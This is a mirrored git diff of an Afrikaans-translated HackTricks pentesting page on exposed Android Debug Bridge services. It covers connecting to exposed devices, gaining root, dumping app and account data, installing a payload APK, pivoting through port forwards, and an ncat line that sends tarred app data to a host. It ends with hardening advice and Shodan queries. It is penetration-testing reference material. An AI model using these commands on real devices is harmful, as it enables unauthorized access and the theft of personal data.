mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5555-android-debug-bridge.m
This commit is contained in:
parent
5cad898446
commit
a0c32f1455
@ -6,40 +6,141 @@
|
||||
|
||||
From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) is 'n veelsydige opdraglyn hulpmiddel wat jou toelaat om met 'n toestel te kommunikeer. Die adb-opdrag fasiliteer 'n verskeidenheid toestel aksies, soos i**nstalleer en debugg apps**, en dit bied **toegang tot 'n Unix-skaal** wat jy kan gebruik om 'n verskeidenheid opdragte op 'n toestel uit te voer.
|
||||
Android Debug Bridge (adb) is 'n opdraglyn hulpmiddel om te kommunikeer met Android-gebaseerde toestelle en emulators. Tipiese aksies sluit in die installering van pakkette, foutopsporing, en die verkryging van 'n interaktiewe Unix-skaal op die toestel.
|
||||
|
||||
**Standaard poort**: 5555.
|
||||
- Historiese standaard TCP-poort: 5555 (klassieke "adb tcpip" modus).
|
||||
- Moderne Draadlose foutopsporing (Android 11+) gebruik TLS-paarvorming en mDNS-diensontdekking. Die verbindingspoort is dinamies en word ontdek via mDNS; dit mag nie 5555 wees nie. Paarvorming word gedoen met adb pair host:port gevolg deur adb connect. Sien die notas hieronder vir offensiewe implikasies.
|
||||
|
||||
Voorbeeld nmap vingerafdruk:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Verbind
|
||||
|
||||
As jy die ADB-diens in 'n poort van 'n toestel vind en jy kan daaraan verbind, **kan jy 'n skulp binne die stelsel kry:**
|
||||
As jy ADB blootgestel en bereikbaar vind, probeer om vinnig te verbind en te tel:
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||
adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
Vir meer ADB-opdragte, kyk die volgende bladsy:
|
||||
- As die toestel ADB-outeentifikasie afdwing (ro.adb.secure=1), sal jy vooraf geoutoriseer moet wees (USB RSA auth) of Android 11+ Draadlose foutopsporing paar (wat 'n eenmalige kode vereis wat op die toestel vertoon word).
|
||||
- Sommige verskafferbeelde, ingenieurs-/gebruikersdebug-bou, emulators, TV's, STB's en ontwikkelingskits stel adbd bloot sonder outentifikasie of met adbd wat as root loop. In daardie gevalle sal jy tipies direk in 'n shell of root shell beland.
|
||||
|
||||
Vir 'n algemene ADB-opdragverwysing, sien:
|
||||
|
||||
{{#ref}}
|
||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||
{{#endref}}
|
||||
|
||||
### Dump App data
|
||||
## Vinnige Post-Exploitasie
|
||||
|
||||
Om die data van 'n toepassing heeltemal af te laai, kan jy:
|
||||
Sodra jy 'n shell het, valideer voorregte en SELinux-konteks:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
|
||||
```
|
||||
Jy kan hierdie truuk gebruik om **sensitiewe inligting soos chrome wagwoorde** te **herwin**. Vir meer inligting oor dit, kyk na die inligting en verwysings wat [**hier**](https://github.com/carlospolop/hacktricks/issues/274) verskaf is.
|
||||
### Lys en vang data
|
||||
|
||||
- Lys derdeparty-apps en paaie:
|
||||
```bash
|
||||
pm list packages -3
|
||||
pm path <pkg>
|
||||
```
|
||||
- As jy root het (adb root of su werk), kan jy direk toegang tot /data kry. Indien nie, verkies run-as vir debuggable apps:
|
||||
```bash
|
||||
# Sonder root, vir 'n debuggable app
|
||||
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
|
||||
|
||||
# Met root
|
||||
cp -a /data/data/<pkg> /sdcard/<pkg>
|
||||
exit
|
||||
adb pull "/sdcard/<pkg>"
|
||||
```
|
||||
- Nuttige stelseldokumente (root benodig):
|
||||
- /data/system/users/0/accounts.db en verwante AccountManager data
|
||||
- /data/misc/wifi/ (netwerk konfigurasies/sleutels op ouer weergawes)
|
||||
- App-spesifieke SQLite DB's en shared_prefs onder /data/data/<pkg>
|
||||
|
||||
Jy kan dit gebruik om sensitiewe inligting te verkry (bv. app geheime). Vir notas oor Chrome data oorwegings, sien die probleem waarna verwys word [hier](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
### Kode-uitvoering en payload aflewering
|
||||
|
||||
- Installeer en outomaties runtime toestemmings toeken:
|
||||
```bash
|
||||
adb install -r -g payload.apk # -g gee alle runtime perms soos verklaar in manifest
|
||||
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
|
||||
```
|
||||
- Begin aktiwiteite/dienste/uitsendings direk:
|
||||
```bash
|
||||
adb shell am start -n <pkg>/<activity>
|
||||
adb shell am startservice -n <pkg>/<service>
|
||||
adb shell am broadcast -a <action>
|
||||
```
|
||||
|
||||
### Poort forwarding en pivotering
|
||||
|
||||
Selfs sonder root, kan adb plaaslike poorte na toestelpoorte en omgekeerd forward. Dit is nuttig om toegang te verkry tot dienste wat plaaslik op die toestel gebind is of om aanvaller dienste aan die toestel bloot te stel.
|
||||
|
||||
- Forward host->toestel (toegang tot 'n toestel-lokale diens vanaf jou gasheer):
|
||||
```bash
|
||||
adb forward tcp:2222 tcp:22 # As toestel SSH loop (bv. Termux/Dropbear)
|
||||
adb forward tcp:8081 tcp:8080 # Blootstel app se plaaslike debug bediener
|
||||
```
|
||||
- Omgekeerde toestel->gasheer (laat die toestel 'n diens op jou gasheer bereik):
|
||||
```bash
|
||||
adb reverse tcp:1080 tcp:1080 # Toestel apps kan nou gasheer:1080 as 127.0.0.1:1080 bereik
|
||||
```
|
||||
- Lêer eksfiltrasie oor sokke (geen sdcard skrywe):
|
||||
```bash
|
||||
# Op gasheer: luister
|
||||
ncat -lvp 9000 > dump.tar
|
||||
# Op toestel: stuur gids as tar (root of run-as soos toepaslik)
|
||||
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
|
||||
```
|
||||
|
||||
## Draadlose Foutopsporing (Android 11+)
|
||||
|
||||
Moderne Android implementeer TLS-beskermde draadlose foutopsporing met toestel-kant paar en mDNS ontdekking:
|
||||
```bash
|
||||
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
|
||||
# On attacker host (same L2 network, mDNS allowed):
|
||||
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
|
||||
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
|
||||
adb connect <device_ip>:<conn_port>
|
||||
```
|
||||
Notas
|
||||
- Poorte is dinamies; moenie aanvaar 5555 nie. mDNS-diensname lyk soos:
|
||||
- _adb-tls-pairing._tcp (pareer)
|
||||
- _adb-tls-connect._tcp (gepareerde verbinding)
|
||||
- _adb._tcp (erf/plat)
|
||||
- As mDNS gefiltreer is, kan klassieke USB-geassisteerde aktivering steeds op sommige weergawes werk: `adb tcpip 5555` dan `adb connect <ip>:5555` (tot herlaai).
|
||||
|
||||
Aanvallende implikasies: as jy met die toestel se UI kan interaksie hê (bv. fisiese toegang of mobiele MDM-misconfigurasie) om Draadlose foutopsporing in te skakel en die pareerkode te sien, kan jy 'n langtermyn-gepareerde ADB-kanaal sonder 'n kabel tot stand bring. Sommige OEM's stel ADB oor TCP in engineering/dev beelde beskikbaar sonder pareer—kontroleer altyd.
|
||||
|
||||
## Versterking / Opsporing
|
||||
|
||||
Verdedigers moet aanvaar dat enige bereikbare adbd (TCP) 'n kritieke risiko is.
|
||||
|
||||
- Deaktiveer ADB en Draadlose foutopsporing wanneer dit nie nodig is nie. Herroep USB-foutopsporing-oute op Ontwikkelaar opsies.
|
||||
- Verseker dat netwerkbeleid inkomende TCP/5555 en mDNS-gebaseerde ADB-ontdekking op onbetroubare segmente blokkeer.
|
||||
- Op toestelle onder jou beheer:
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
setprop service.adb.tcp.port -1 # deaktiveer TCP-luister (of gebruik: adb usb)
|
||||
stop adbd; start adbd # herbegin daemon
|
||||
```
|
||||
- Monitor vir mDNS-rekords `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` op korporatiewe netwerke en waarskuwings vir onverwagte 5555 luisteraars.
|
||||
- Inventariseer vir onveilige weergawes: `getprop ro.debuggable`, `ro.build.type`, en `ro.adb.secure`.
|
||||
|
||||
## Shodan
|
||||
|
||||
- `android debug bridge`
|
||||
- android debug bridge
|
||||
- port:5555 product:"Android Debug Bridge"
|
||||
|
||||
## Verwysings
|
||||
|
||||
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
|
||||
- AOSP – ADB oor Wi‑Fi, pareer en mDNS-diensname: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user